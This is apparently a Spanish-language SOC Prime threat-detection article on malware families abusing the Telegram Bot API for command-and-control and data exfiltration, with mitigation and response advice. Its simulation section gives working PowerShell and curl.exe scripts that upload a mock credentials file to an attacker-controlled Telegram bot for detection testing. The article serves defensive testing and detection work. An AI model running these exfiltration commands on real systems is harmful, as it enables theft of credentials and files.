SOC Prime Bias: Medio

17 Dec 2025 14:33 UTC

Las Crónicas de Detección y Respuesta: Explorando el Abuso de Telegram

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Las Crónicas de Detección y Respuesta: Explorando el Abuso de Telegram
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El artículo explica cómo varios actores de amenazas abusan de la API de Bot de Telegram y de los canales en empresas para el mando y control, la exfiltración de datos y la monitorización de las víctimas. Familias de malware, incluidas DeerStealer, Lumma Stealer, Raven Stealer y un constructor XWorm troyanizado codifican de manera rígida tokens de bots o IDs de canales y llaman a endpoints como /sendMessage y /sendDocument. Incluye consultas de detección de Microsoft Defender y Sentinel enfocadas en líneas de comando de procesos sospechosos y tráfico hacia api.telegram.org. La guía clave es establecer un uso legítimo de base de Telegram y bloquear la API donde no se necesite.

Investigación

El SOC de NVISO reportó cuatro intentos de intrusión observados entre octubre de 2025 y marzo de 2025, en los cuales Telegram fue utilizado en diferentes puntos del ciclo de vida del ataque. El informe destaca campañas como Lunar Spider monitorizando víctimas a través de falsos captchas, DeerStealer enviando notificaciones a operadores mediante curl, Lumma Stealer obteniendo detalles de C2 de canales de Telegram, Raven Stealer exfiltrando colecciones archivadas, y un constructor de XWorm que depende de la API de Bot tanto para exfiltración como para C2. Los analistas extrajeron indicadores que incluyen líneas de comando de procesos, destinos de red y nombres relevantes de archivos.

Mitigación

Establecer una línea base para el uso legítimo de Telegram, luego bloquear el acceso saliente a api.telegram.org en entornos donde no se requiera. Vigilar procesos poco comunes (por ejemplo, curl, powershell, wscript) que inicien conexiones con la API e investigar cualquier interacción scriptada con la API de Bot. Ajustar las detecciones para suprimir comportamientos esperados como navegadores conocidos iniciando telegram.exe, y priorizar solicitudes de sondeo largo o estilo webhook que se originen desde binarios sospechosos o hosts inesperados.

Respuesta

Cuando se detecta actividad, aislar el punto final afectado, detener procesos sospechosos y preservar argumentos de línea de comando junto con telemetría de DNS, proxy y red. Realizar análisis forense más profundo para identificar cargas útiles posteriores asociadas con campañas como DeerStealer o Raven Stealer. Rotar cualquier token de bot expuesto, deshabilitar o revocar canales de Telegram abusados, y contener la propagación bloqueando indicadores relacionados. Si se confirma abuso, escalar el reporte a través de los canales oficiales de Telegram y documentar el incidente para prevenir recurrencias.

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de la detección.

  • Narrativa de Ataque y Comandos:
    Un adversario con un host Windows comprometido desea exfiltrar un archivo de credenciales recopiladas (creds.txt) a un bot de Telegram que controlan. Para evitar almacenar un binario personalizado, usan el curl.exe de manera nativa (instalado mediante las funciones opcionales de Windows 10) para POST el archivo a https://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. El comando se ejecuta desde PowerShell, asegurando que el evento de creación del proceso registre una línea de comando que contenga “api.telegram.org”. Debido a que el proceso es curl.exe, el filtro de la regla (InitiatingProcessFileName: "telegram.exe") no suprime la alerta.

    # Variables (reemplazar con valores controlados por el atacante)
    $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"
    $ChatID   = "987654321"
    $FilePath = "C:Tempcreds.txt"
    
    # Asegúrese de que el archivo exista (simulación de volcado de credenciales)
    Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!"
    
    # Ejecutar la exfiltración mediante la API de Bot de Telegram
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    curl.exe -X POST -F "document=@$FilePath" $Url
  • Script de Prueba de Regresión: El script de abajo reproduce los pasos exactos, adecuado para ejecuciones automatizadas de BAS.

    #--------------------------------------------
    # Prueba de Regresión – Exfiltración de API de Telegram
    #--------------------------------------------
    param(
        [string]$BotToken = "REPLACE_WITH_TOKEN",
        [string]$ChatID   = "REPLACE_WITH_CHATID",
        [string]$TmpDir   = "$env:TEMPTelegramBAS"
    )
    
    # Crear espacio de trabajo temporal
    New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null
    
    # Archivo de credenciales simulado
    $CredFile = Join-Path $TmpDir "creds.txt"
    "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile
    
    # Construir URL de API
    $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID"
    
    # Invocar exfiltración
    Write-Host "[*] Exfiltrando $CredFile a Telegram..."
    curl.exe -X POST -F "document=@$CredFile" $Url
    
    # Indicador simple de éxito (no verifica la entrega)
    if ($LASTEXITCODE -eq 0) {
        Write-Host "[+] Comando de exfiltración ejecutado."
    } else {
        Write-Error "[-] Fallo en la exfiltración."
    }
  • Comandos de Limpieza: Remover el archivo y directorio temporal; opcionalmente terminar cualquier curl.exe proceso persistente.

    # Limpiar artefactos temporales
    Stop-Process -Name "curl" -ErrorAction SilentlyContinue
    Remove-Item -Path $TmpDir -Recurse -Force
    Write-Host "[*] Limpieza completa."